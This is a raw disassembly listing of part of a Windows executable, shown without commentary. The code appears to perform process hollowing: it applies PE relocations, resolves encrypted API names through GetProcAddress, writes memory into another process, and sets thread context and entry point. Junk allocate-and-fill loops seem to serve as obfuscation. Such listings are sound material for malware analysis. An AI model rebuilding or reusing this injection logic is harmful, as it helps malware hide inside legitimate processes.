jmp 0x1401398d7
mov eax, dword [rbp + 0x1024]
inc eax
mov dword [rbp + 0x1024], eax
mov eax, dword [rbp + 0x1004]
cmp dword [rbp + 0x1024], eax
jae 0x140139a97
mov rax, qword [rbp + 0xdc8]
mov eax, dword [rax + 0x14]
mov rcx, qword [rbp + 0x868]
add rcx, rax
mov rax, rcx
mov ecx, dword [rbp + 0xfc4]
add rax, rcx
mov qword [rbp + 0x1048], rax
mov eax, dword [rbp + 0xfc4]
add rax, 2
mov dword [rbp + 0xfc4], eax
mov rax, qword [rbp + 0x1048]
movzx eax, word [rax]
shr ax, 0xc
and ax, 0xf
movzx eax, ax
test eax, eax
jne 0x14013993b
jmp 0x1401398c9
mov rax, qword [rbp + 0xfe8]
mov eax, dword [rax]
mov rcx, qword [rbp + 0xc28]
add rcx, rax
mov rax, rcx
mov ecx, 0xfff
mov rdx, qword [rbp + 0x1048]
movzx edx, word [rdx]
and dx, cx
movzx ecx, dx
movzx ecx, cx
add rax, rcx
mov qword [rbp + 0x1068], rax
mov dword [rbp + 0x1084], 0
lea rdx, [rbp + 0x10a8]
lea rcx, [rbp + 0x2154]
call fcn.14012daf0
lea rcx, [rbp + 0x2174]
call fcn.14012dc80
mov rcx, rax
call fcn.1400e1e57
mov eax, eax
lea rcx, [0x140493ba0]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0x10a8]
call fcn.1400e02cd
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x10e8], rax
cmp qword [rbp + 0x10e8], 0
jne 0x140139a00
xor al, al
jmp 0x14013a008
mov rax, qword [rbp + 0x10e8]
mov qword [rbp + 0x2308], rax
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x1084]
mov rdx, qword [rbp + 0x1068]
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
mov eax, dword [rbp + 0xd44]
mov ecx, dword [rbp + 0x1084]
add ecx, eax
mov eax, ecx
mov dword [rbp + 0x1084], eax
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0x1084]
mov rdx, qword [rbp + 0x1068]
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
lea rcx, [rbp + 0x10a8]
call fcn.1400de531
jmp 0x1401398c9
jmp 0x140139856
mov dword [rbp + 0x1104], 9
jmp 0x140139ab6
mov eax, dword [rbp + 0x1104]
inc eax
mov dword [rbp + 0x1104], eax
cmp dword [rbp + 0x1104], 0x2d05
jae 0x140139b7c
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x2198], rax
mov rax, qword [rbp + 0x2198]
mov qword [rbp + 0x1128], rax
mov dword [rbp + 0x1144], 0
jmp 0x140139aff
mov eax, dword [rbp + 0x1144]
inc eax
mov dword [rbp + 0x1144], eax
cmp dword [rbp + 0x1144], 0x319e
jae 0x140139b2d
cmp dword [rbp + 0x1144], 6
jne 0x140139b16
jmp 0x140139b2d
movsxd rax, dword [rbp + 0x1144]
mov rcx, qword [rbp + 0x1128]
mov dword [rcx + rax*4], 0x16d2
jmp 0x140139af1
mov rax, qword [rbp + 0x1128]
mov qword [rbp + 0x21b8], rax
mov rcx, qword [rbp + 0x21b8]
call fcn.1400dfa6c
cmp qword [rbp + 0x21b8], 0
jne 0x140139b5e
mov qword [rbp + 0x2308], 0
jmp 0x140139b77
mov qword [rbp + 0x1128], 0x8123
mov rax, qword [rbp + 0x1128]
mov qword [rbp + 0x2308], rax
jmp 0x140139aa8
mov dword [rbp + 0x1170], 0x10000b
lea rdx, [rbp + 0x1458]
lea rcx, [rbp + 0x21d4]
call fcn.14012dda0
lea rcx, [rbp + 0x21f4]
call fcn.14012de10
mov rcx, rax
call fcn.1400debe9
mov eax, eax
lea rcx, [0x140493d20]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0x1458]
call fcn.1400e0caf
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0
jne 0x140139c09
xor al, al
jmp 0x14013a008
mov rax, qword [rbp + 0x14a8]
mov qword [rbp + 0x2308], rax
lea rdx, [rbp + 0x1170]
mov rcx, qword [rbp + 0x920]
call qword [rbp + 0x2308]
test rax, rax
je 0x140139c39
mov byte [rbp + 0x2310], 1
jmp 0x140139c40
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0x14c4], al
mov rax, qword [rbp + 0xd68]
mov qword [rbp + 0x2308], rax
mov eax, dword [rbp + 0x1214]
add rax, 8
mov qword [rsp + 0x20], 0
mov r9d, 4
lea r8, [rbp + 0xc28]
mov rdx, rax
mov rcx, qword [rbp + 0x918]
call qword [rbp + 0x2308]
test rax, rax
je 0x140139c99
mov byte [rbp + 0x2310], 1
jmp 0x140139ca0
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0x14e4], al
lea rcx, [rbp + 0x1458]
call fcn.1400dd0ff
mov dword [rbp + 0x1504], 8
jmp 0x140139cd3
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x2e15
jae 0x140139d99
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x2218], rax
mov rax, qword [rbp + 0x2218]
mov qword [rbp + 0x1528], rax
mov dword [rbp + 0x1544], 0
jmp 0x140139d1c
mov eax, dword [rbp + 0x1544]
inc eax
mov dword [rbp + 0x1544], eax
cmp dword [rbp + 0x1544], 0x2d54
jae 0x140139d4a
cmp dword [rbp + 0x1544], 1
jne 0x140139d33
jmp 0x140139d4a
movsxd rax, dword [rbp + 0x1544]
mov rcx, qword [rbp + 0x1528]
mov dword [rcx + rax*4], 0x523
jmp 0x140139d0e
mov rax, qword [rbp + 0x1528]
mov qword [rbp + 0x2238], rax
mov rcx, qword [rbp + 0x2238]
call fcn.1400dfa6c
cmp qword [rbp + 0x2238], 0
jne 0x140139d7b
mov qword [rbp + 0x2308], 0
jmp 0x140139d94
mov qword [rbp + 0x1528], 0x8123
mov rax, qword [rbp + 0x1528]
mov qword [rbp + 0x2308], rax
jmp 0x140139cc5
lea rdx, [rbp + 0x1568]
lea rcx, [rbp + 0x2254]
call fcn.14012df30
mov rax, qword [rbp + 0x28]
mov eax, dword [rax + 0x28]
mov rcx, qword [rbp + 0xc28]
add rcx, rax
mov rax, rcx
mov dword [rbp + 0x1220], eax
lea rcx, [rbp + 0x2274]
call fcn.14012dfa0
mov rcx, rax
call fcn.1400df1a2
mov eax, eax
lea rcx, [0x140493ba0]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0x1568]
call fcn.1400e0caf
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x15b8], rax
mov rax, qword [rbp + 0x15b8]
mov qword [rbp + 0x2308], rax
lea rdx, [rbp + 0x1170]
mov rcx, qword [rbp + 0x920]
call qword [rbp + 0x2308]
test rax, rax
je 0x140139e55
mov byte [rbp + 0x2310], 1
jmp 0x140139e5c
mov byte [rbp + 0x2310], 0
movzx eax, byte [rbp + 0x2310]
mov byte [rbp + 0x15d4], al
lea rcx, [rbp + 0x1568]
call fcn.1400dd0ff
mov dword [rbp + 0x15f4], 7
jmp 0x140139e8f
mov eax, dword [rbp + 0x15f4]
inc eax
mov dword [rbp + 0x15f4], eax
cmp dword [rbp + 0x15f4], 0x2d02
jae 0x140139f55
mov ecx, 0xea60
call fcn.1400df693
mov qword [rbp + 0x2298], rax
mov rax, qword [rbp + 0x2298]
mov qword [rbp + 0x1618], rax
mov dword [rbp + 0x1634], 0
jmp 0x140139ed8
mov eax, dword [rbp + 0x1634]
inc eax
mov dword [rbp + 0x1634], eax
cmp dword [rbp + 0x1634], 0x30db
jae 0x140139f06
cmp dword [rbp + 0x1634], 0x40
jne 0x140139eef
jmp 0x140139f06
movsxd rax, dword [rbp + 0x1634]
mov rcx, qword [rbp + 0x1618]
mov dword [rcx + rax*4], 0x25bb
jmp 0x140139eca
mov rax, qword [rbp + 0x1618]
mov qword [rbp + 0x22b8], rax
mov rcx, qword [rbp + 0x22b8]
call fcn.1400dfa6c
cmp qword [rbp + 0x22b8], 0
jne 0x140139f37
mov qword [rbp + 0x2308], 0
jmp 0x140139f50
mov qword [rbp + 0x1618], 0x8123
mov rax, qword [rbp + 0x1618]
mov qword [rbp + 0x2308], rax
jmp 0x140139e81
lea rdx, [rbp + 0x1658]
lea rcx, [rbp + 0x22d4]
call fcn.14012e4f0
lea rcx, [rbp + 0x22f4]
call fcn.14012e560
mov rcx, rax
call fcn.1400df74c
mov eax, eax
lea rcx, [0x140493d80]
mov rax, qword [rcx + rax*8]
mov qword [rbp + 0x2308], rax
lea rcx, [rbp + 0x1658]
call fcn.1400dfc33
mov qword [rbp + 0x2310], rax
mov rcx, qword [rbp + 0x2310]
call qword [rbp + 0x2308]
mov rdx, rax
mov rcx, qword [rbp + 0xa48]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x1698], rax
mov rax, qword [rbp + 0x1698]
mov qword [rbp + 0x2308], rax
mov rcx, qword [rbp + 0x920]
call qword [rbp + 0x2308]
lea rcx, [rbp + 0x1658]
call fcn.1400de9cd
lea rcx, [rbp + 0xd08]
call fcn.1400e2451
lea rcx, [rbp + 0xa08]
call fcn.1400de9cd
mov al, 1
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1403febc0]
call fcn.1400e192f
mov rax, rdi
mov rcx, qword [rbp + 0x2318]
xor rcx, rbp
call fcn.1400dfa9e
lea rsp, [rbp + 0x2328]
pop rdi
pop rbp
ret